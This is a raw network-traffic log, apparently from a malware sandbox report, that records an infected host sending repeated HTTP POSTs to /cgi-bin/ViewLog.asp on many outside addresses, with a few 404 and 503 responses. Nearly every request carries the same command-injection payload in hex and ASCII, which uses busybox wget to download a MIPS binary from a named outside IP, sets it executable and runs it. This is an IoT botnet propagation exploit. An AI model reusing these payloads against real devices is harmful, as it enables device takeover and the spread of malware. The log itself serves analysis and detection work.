zxyel
Nov 23, 2023 05:15:43.430695057 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:44.550604105 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:46.982640982 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:51.590584993 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:00.550672054 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:19.494582891 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:56.358442068 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
156	192.168.2.13	40340	94.74.118.181	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:42.928636074 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
157	192.168.2.13	59582	62.29.11.62	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:42.937422991 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
158	192.168.2.13	40468	94.122.9.135	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:42.940035105 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
159	192.168.2.13	45662	62.30.121.99	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:43.041558027 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:43.290894985 CET	755	IN	HTTP/1.0 404 Not Found !!! Pragma: no-cache Content-type: text/html WWW-Authenticate: /cgi-bin/ViewLog.asp Data Raw: 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 21 21 21 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 64 69 76 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 63 65 6e 74 65 72 3e 0a 3c 74 61 62 6c 65 20 62 6f 72 64 65 72 3d 22 31 22 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 22 30 22 20 77 69 64 74 68 3d 22 31 30 30 25 22 3e 0a 20 20 3c 74 72 3e 0a 20 20 20 20 3c 74 64 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 62 67 63 6f 6c 6f 72 3d 22 23 30 30 30 30 41 30 22 3e 0a 20 20 20 20 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 46 46 46 46 46 46 22 20 66 61 63 65 3d 22 41 72 69 61 6c 22 3e 0a 20 20 20 20 3c 73 74 72 6f 6e 67 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 21 21 21 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 66 6f 6e 74 3e 3c 2f 74 64 3e 0a 20 20 3c 2f 74 72 3e 0a 20 20 3c 74 72 3e 0a 20 20 20 20 3c 74 64 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 62 67 63 6f 6c 6f 72 3d 22 23 46 33 46 33 46 33 22 20 62 6f 72 64 65 72 63 6f 6c 6f 72 3d 22 23 30 30 30 30 38 30 22 20 62 6f 72 64 65 72 63 6f 6c 6f 72 64 61 72 6b 3d 22 23 30 30 30 30 38 30 22 3e 0a 20 20 20 20 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 22 54 69 6d 65 73 20 4e 65 77 20 52 6f 6d 61 69 6e 22 20 63 6f 6c 6f 72 3d 22 23 30 30 30 30 30 30 22 3e 0a 20 20 20 20 3c 73 74 72 6f 6e 67 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 66 6f 6e 74 3e 3c 2f 74 64 3e 0a 20 20 3c 2f 74 72 3e 0a 3c 2f 74 61 62 6c 65 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html> <head> <title>404 Not Found !!!</title> </head><body><div align="center"><center><table border="1" cellspacing="0" width="100%"> <tr> <td width="100%" bgcolor="#0000A0"> <p align="center"><font color="#FFFFFF" face="Arial"> <strong>404 Not Found !!!</strong></font></td> </tr> <tr> <td width="100%" bgcolor="#F3F3F3" bordercolor="#000080" bordercolordark="#000080"> <p align="center"><font face="Times New Romain" color="#000000"> <strong>The requested URL was not found on this server.</strong></font></td> </tr></table></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
160	192.168.2.13	51056	94.120.155.98	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:43.042059898 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
161	192.168.2.13	42024	31.43.191.2	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:46.593041897 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:46.777436018 CET	368	IN	HTTP/1.1 404 Not Found Server: openresty Date: Thu, 23 Nov 2023 04:15:48 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
162	192.168.2.13	57462	62.63.249.180	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:46.603634119 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:46.822274923 CET	354	IN	HTTP/1.0 404 Not Found Date: Thu, 23 Nov 2023 04:15:46 GMT Connection: close Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
163	192.168.2.13	50454	95.217.11.111	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:46.604919910 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:46.803067923 CET	212	IN	HTTP/1.1 404 Not Found Content-Type: text/plain Date: Thu, 23 Nov 2023 04:15:46 GMT Content-Length: 18 Connection: close Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
164	192.168.2.13	34694	94.121.69.116	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:46.635441065 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
165	192.168.2.13	53898	62.29.57.174	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:46.649796009 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
166	192.168.2.13	42372	94.120.157.125	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:46.649998903 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
167	192.168.2.13	43556	62.31.227.180	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:46.845906019 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:47.061398029 CET	567	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 23 Nov 2023 04:15:46 GMT Connection: close Content-Length: 326 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 35 30 33 2e 20 54 68 65 20 73 65 72 76 69 63 65 20 69 73 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Service Unavailable</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Service Unavailable</h2><hr><p>HTTP Error 503. The service is unavailable.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
168	192.168.2.13	47106	94.156.189.98	8080

Timestamp	Bytes transferred	Direction	Data
